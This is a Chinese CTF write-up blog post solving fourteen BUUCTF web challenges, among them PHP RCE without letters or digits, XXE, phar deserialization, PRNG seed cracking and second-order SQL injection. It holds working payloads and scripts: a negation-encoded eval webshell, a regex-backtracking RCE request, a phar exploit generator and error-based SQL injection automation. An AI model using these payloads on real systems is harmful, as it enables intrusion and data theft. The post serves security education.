BUUCTF web第三页WP

文章目录

    • [极客大挑战 2019]RCE ME
    • [MRCTF2020]套娃
    • [WUSTCTF2020]颜值成绩查询
    • [FBCTF2019]RCEService
    • [Zer0pts2020]Can you guess it?
    • [CISCN2019 华北赛区 Day1 Web2]ikun(pickle反序列化)
    • [CSCCTF 2019 Qual]FlaskLight(SSTI先空着)
    • [NCTF2019]True XML cookbook
    • [GWCTF 2019]枯燥的抽奖
    • [CISCN2019 华北赛区 Day1 Web1]Dropbox
    • [RCTF2015]EasySQL
    • [CISCN2019 华北赛区 Day1 Web5]CyberPunk
    • [WUSTCTF2020]CV Maker
    • [网鼎杯 2020 白虎组]PicDown

[极客大挑战 2019]RCE ME

推荐看一下p神的这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

无数字字母rce,一般是异或、取反、自增,还有一种利用临时文件进行的rce,(ctfshow web56)

取反:

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"                                      
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator> 

payload: ?code=(~%8F%97%8F%96%91%99%90)();

构造shell

 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "
"
; $c='(eval($_POST[1]))'; $d=urlencode(~$c); echo $d; ?> %9E%8C%8C%9A%8D%8B<br>%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6

?code=(%9E%8C%8C%9A%8D%8B)(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);

BUUCTF web第三页WP_第1张图片

flag是空的, 需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的 。

BUUCTF web第三页WP_第2张图片

利用蚁剑插件:disable_functions,右键数据->加载插件->辅助工具->绕过disable_functions->然后选择PHP7_GC_UAF->点击开始,然后直接输入命令/readflag,即可得到flag

插件市场下载

BUUCTF web第三页WP_第3张图片

BUUCTF web第三页WP_第4张图片

BUUCTF web第三页WP_第5张图片

[MRCTF2020]套娃

源码里有指引

这里它不让我们请求的string里有下划线_, 但是我们又要传参b_u_p_t,可以利用web特性,我们传点或者空格,会被自动转为下划线_, preg_match的绕过可以在末尾加上%0a ,因为他不是多行匹配,这里的正则匹配会忽略掉末尾的换行,而23333!==23333%0a也是成立的,就进入到if判断成立以后里面了

BUUCTF web第三页WP_第6张图片

payload:?b.u.p.t=23333%0A

BUUCTF web第三页WP_第7张图片

我们再访问给的这个php文件

Flag is here~But how to get it?Local access only!

好像是要本地ip,伪造一下

CLIENT-IP: 
X-FORWARDED-FOR: 
X-REAL-IP:

XXF和client-ip的结果:一堆jsfuck

BUUCTF web第三页WP_第8张图片

BUUCTF web第三页WP_第9张图片

修改请求方式并且传Merak,获得源码

BUUCTF web第三页WP_第10张图片

 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."
"
; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>

payload

/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D

BUUCTF web第三页WP_第11张图片

[WUSTCTF2020]颜值成绩查询

强推这位师傅的文章,实乃吾辈楷模

https://blog.csdn.net/qq_45619909/article/details/121413045

我们输入id进行测试,发现除了1,2,3,4有回显,其他都是没有的,那我们就可以进行布尔盲注了

payload可以直接是判断a>b这种形式,相当于返回0或1,那么页面就分别有回显和无回显,针对这一点我们就可以进行sql注入了

[FBCTF2019]RCEService

json格式:

?cmd={"cmd":"ls"}

源码



putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected

'
; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'
; } else { echo 'Attempting to run command:
'
; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'
; } } ?>

我们看到正则匹配并没有加修饰符,是单行匹配,我们可以用多行来绕过它

BUUCTF web第三页WP_第12张图片

这么写大概是这么个意思:

BUUCTF web第三页WP_第13张图片

或者用正则回溯的方法

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://1147c940-0749-4183-b3f9-035f43b26a3d.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)

[Zer0pts2020]Can you guess it?

给了源码:


include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

$_SERVER[“PHP_SELF”]

在 $_SERVER 数组中存储的众多值中,存储了一个键为 'PHP_SELF' 的值,也就是 $_SERVER[“PHP_SELF”],该值存储的内容是:当前执行脚本的文件名,与 document root 有关。

比如执行一个 php 脚本的地址为:http://localhost/test/7ghost.php/ , 那么  $_SERVER[“PHP_SELF”] 对应的值即为:/test/7ghost.php/。

而且 $_SERVER[“PHP_SELF”] 该地址不包含 url 中的参数,比如你访问的 url 地址为:http://localhost/test/7ghost.php?par=123&par2=333 而 $_SERVER[“PHP_SELF”] 的值为 /test/7ghost.php 。

再比如,你访问的 url 地址为:http://localhost/test/7ghost.php/abc , 那么 $_SERVER[“PHP_SELF”] 的为:/test/7ghost.php/abc 。

basename — 返回路径中的文件名部分

BUUCTF web第三页WP_第14张图片

话讲到这里了可以发现这段代码是有问题的, 如果能绕过那个正则,就可以得到config.php源码了,而题目告诉FLAG就在config.php里

BUUCTF web第三页WP_第15张图片

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

这里匹配的是问号(get传参)前面的东西,但凡config.php/和问号之间有个东西他就匹配不到,问题是我们加上一般的字符以后,进入到highlight_file(basename($_SERVER[‘PHP_SELF’]));,传到这里的就是我们写的奇怪字符了,所以还要想办法,这里basename()有一个特性,就是会忽略ascii编码以外的字符,那payload就有了

BUUCTF web第三页WP_第16张图片

127转16进制是7f,128转16进制是80,中文也是非ascii,用中文字符也可以

那么:

7f,不行
BUUCTF web第三页WP_第17张图片

80,行

BUUCTF web第三页WP_第18张图片

那么最后,为啥非得在config.php前面加一个index.php?

假如路径是/index.php/config.php
浏览器的解析结果是index.php
而basename会返回config.php

我们利用的入口在Index.php,当然要让他解析前面的index.php了

[CISCN2019 华北赛区 Day1 Web2]ikun(pickle反序列化)

pickle反序列化不会,先空着

[CSCCTF 2019 Qual]FlaskLight(SSTI先空着)

[NCTF2019]True XML cookbook

这一看就是xxe注入

flag好像不在这里

BUUCTF web第三页WP_第19张图片

尝试读别的看看

BUUCTF web第三页WP_第20张图片

把源码读出来

BUUCTF web第三页WP_第21张图片


/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("%d%s",1,$username);
	}else{
		$result = sprintf("%d%s",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("%d%s",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

也没啥用,据说这题是用xxe打内网

我们读取关键文件:/etc/hosts 和 /proc/net/arp。 看到有啥存活主机,然后访问存活的主机

BUUCTF web第三页WP_第22张图片

都访问不到,尝试扫C段

以下是内网探测命令

file:///etc/hosts

file:///proc/net/arp

file:///proc/net/tcp

file:///proc/net/udp

file:///proc/net/dev

file:///proc/net/fib_trie

扫描这个真给我整吐了

不做了,该学的都学到了,死磕没意思

[GWCTF 2019]枯燥的抽奖

f12抓包看数据往哪走,发现了check.php,访问一下看到了源码


#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "

".$str_show."

"
; if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "

抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}

"
; } else{ echo "

没抽中哦,再试试吧

"
; } } show_source("check.php");

这个题考察的是伪随机数

https://www.cnblogs.com/zaqzzz/p/9997855.html

https://www.freebuf.com/vuls/192012.html

简单来说,就是mt_srand(seed)分发种子,相当于进行产生随机数的初始化,然后通过mt_rand函数获得种子,但是这个随机数并不是真正的随机,他是有可预测性的,如果我们能获得种子,就一定程度上可以获得产生的随机数,根据这个随机数进行验证的部分就不安全了

但是这个题里并没看到mt_srand()函数, 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的 。 而且只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数 ,这样我们破解才有意义。

破解方法是穷举所有的种子并根据种子生成随机数序列再跟已知的随机数序列做比对来验证种子是否正确。php_mt_seed就是这么一个工具,它的速度非常快。它可以根据单次mt_rand()的输出结果直接爆破出可能的种子,当然也可以爆破类似mt_rand(1,100)这样限定了MIN MAX输出的种子。

我知道种子后,可以确定你输出伪随机数的序列。 知道你的随机数序列,可以确定你的种子。

就使用已有的脚本进行爆破就好

这个题里面,我们要爆破的应该是这一段mt_rand(0, strlen($str_long1) - 1),相当于mt_rand(0,61), 这个所谓的产生的随机的字符串,就是通过这个0-61的随机数选20次选出来的

先用这个脚本跑出序列

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='rczqfEJmwO'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

进入目录以后,输入命令

make

BUUCTF web第三页WP_第23张图片

然后跑出种子,这个我们爆破出的序列是4个一组的,每组的第一第二个是每次产生的随机数,第三个数和第四个数分别是最小值和最大值,这种的好像是php_mt_seed需要的参数模式。

time ./php_mt_seed 17 17 0 61 2 2 0 61 25 25 0 61 16 16 0 61 5 5 0 61 40 40 0 61 45 45 0 61 12 12 0 61 22 22 0 61 50 50 0 61

BUUCTF web第三页WP_第24张图片

再根据种子跑出随机数

 
mt_srand(238370259);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo "

".$str."

"
;

BUUCTF web第三页WP_第25张图片

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册一个账号,上传文件以后出现了一个下载和一个删除文件的按钮

BUUCTF web第三页WP_第26张图片

可能存在任意文件下载漏洞, 按照惯例和经验,我们上传的文件是放在网站主目录/sandbox/hash目录下的,所以要想下载源码php文件必须跳转到上级目录。如想下载index.php源码许这样填写:
filename=../../index.php

BUUCTF web第三页WP_第27张图片


session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>缃戠洏绠$悊</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">绠$悊闈㈡澘</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">涓婁紶鏂囦欢</label></li>
        <li class="active ml-auto"><a href="#">浣犲ソ <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

以相同的方式下载login.php和class.php

用seay进行源码审计,class.php有问题,说存在任意文件读取
BUUCTF web第三页WP_第28张图片

class.php


error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
';$table.='';foreach($this->funcsas$func){$table.='';}$table.='';$table.='';foreach($this->resultsas$filename=>$result){$table.='';foreach($resultas$func=>$value){$table.='';}$table.='';$table.='';}echo$table;}}classFile{public$filename;publicfunctionopen($filename){$this->filename=$filename;if(file_exists($filename)&&!is_dir($filename)){returntrue;}else{returnfalse;}}publicfunctionname(){returnbasename($this->filename);}publicfunctionsize(){$size=filesize($this->filename);$units=array(' B',' KB',' MB',' GB',' TB');for($i=0;$size>=1024&&$i<4;$i++)$size/=1024;returnround($size,2).$units[$i];}publicfunctiondetele(){unlink($this->filename);}publicfunctionclose(){returnfile_get_contents($this->filename);}}?>

这里是phar反序列化

https://www.freebuf.com/articles/system/345328.html

phar是一种类似于jar的打包文件,但是实际上是一种压缩文件,php5.3版本或以上都默认开启,可以将多个文件压缩成一个phar文件,phar不需要依赖unserialize函数就可以进行反序列化操作,使用phar伪协议读取文件会将文件中的meta-data数据进行一次反序列化操作。同时php中已经内置了一个phar类用于处理相关的操作

phar序列化我刚开始学,抄一抄别的师傅的脚本

https://mayi077.gitee.io/2020/02/03/CISCN2019-%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA-Day1-Web1-Dropbox/


class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "exp");
$phar->stopBuffering();
?>

要注意这里生成phar的php.ini配置(wamp)

BUUCTF web第三页WP_第29张图片

运行文件就会生成一个phar文件,修改后缀为gif上传

BUUCTF web第三页WP_第30张图片

抓删除的包修改文件名

BUUCTF web第三页WP_第31张图片

[RCTF2015]EasySQL

ban了不少

注册用户 admin"

进入修改密码页面会报错,说明是二次注入,并且是双引号闭合的报错注入

在这里插入图片描述

再根据这种方法获取flag

这个题的逻辑就是在注册的地方进行过滤,我们绕过过滤登陆进去以后,有一个改密码的功能,他是用双引号闭合用户名进行改密码操作的,我们注册好的用户名双引号结尾就可以闭合,后面跟我们进行报错注入的代码就好,至于改密码怎么改是随便填的,重点在注册好的用户名。

复习一下报错注入

方式一:

1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -

方式二:

1’ and extractvalue(1,concat(0x7e,(select database()))) #

爆表名

1"||(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#

BUUCTF web第三页WP_第32张图片

爆列名

1"||(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#

BUUCTF web第三页WP_第33张图片

爆数据

1"||(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)))))#

这个样子数据出不来

BUUCTF web第三页WP_第34张图片

这么读

1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

BUUCTF web第三页WP_第35张图片

它输出长度是有限的,再倒置输出一下就好了

1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

BUUCTF web第三页WP_第36张图片

然后想尝试写一下脚本,en,

import requests

url='http://1144ab58-5e34-46c0-a862-6e01e9b355f0.node4.buuoj.cn:81/'
url1=url+'register.php'
url2=url+'login.php'
url3=url+'changepwd.php'

res=requests.session()
def register(username):
    data = {
        'username' : username,
        'password' : '1',
        'email' : '1',
    }
    res.post(url=url1, data=data)

def login(username):
    data = {
        'username' : username,
        'password' : '1',
    }
    res.post(url=url2, data=data) 
    
def change():
    data = {
        'oldpass' : '1',
        'newpass' : '1',
    }
    flagg = res.post(url=url3, data=data)
    if 'XPATH' in flagg.text:
        print(flagg.text)    
    
    
def go(username):
    register(username)
    login(username)
    change()

go('1"||(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#1')
go('1"||(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users")))))#1')
go('1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f"))))#1')
go('1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))))#1')

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

在源代码找到了这个,好像是一个包含漏洞

BUUCTF web第三页WP_第37张图片

?file=php://filter/convert.base64-encode/resource=index.php

这样子可以读出源码

index.php



ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php



require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "

姓名:".$row['user_name']."

, 电话:".$row['phone']."

, 地址:".$row['address']."

"
; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>

change.php



require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php



require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

confirm.php



require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

拖进seay审计一下

BUUCTF web第三页WP_第38张图片

在change.php那里貌似存在sql诸如漏洞,这个代码和ctfshow里的代码审计题有些类似

这个也是一个二次注入,在开始提交订单的位置提交恶意的地址,然后在修改订单的地方稍微修改他就会发生报错,利用报错注入拿到flag

payload

报错注入展示不全,改substr的参数就好了

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,20)),0x7e),1)#

BUUCTF web第三页WP_第39张图片

flag{fb6849e4-569d-4f86-bdd7-27487e696bf4}

[WUSTCTF2020]CV Maker

注册一个账号,注册的时候有报错,试了一下也没试出什么

登陆以后有头像上传

BUUCTF web第三页WP_第40张图片

BUUCTF web第三页WP_第41张图片

这就直接传进去了,然后蚁剑连接,flag在根目录

[网鼎杯 2020 白虎组]PicDown

这么提交参数,好像能下载源码

BUUCTF web第三页WP_第42张图片

它下载了一张图片,用记事本打开发现是这个题的网站的前端代码

BUUCTF web第三页WP_第43张图片

这么着就读出来了

BUUCTF web第三页WP_第44张图片

你可能感兴趣的:(WP,php,web安全)

' . htmlentities($func) . ' Opt
' . htmlentities($value) . ' . htmlentities($filename) . '">涓嬭浇 / 鍒犻櫎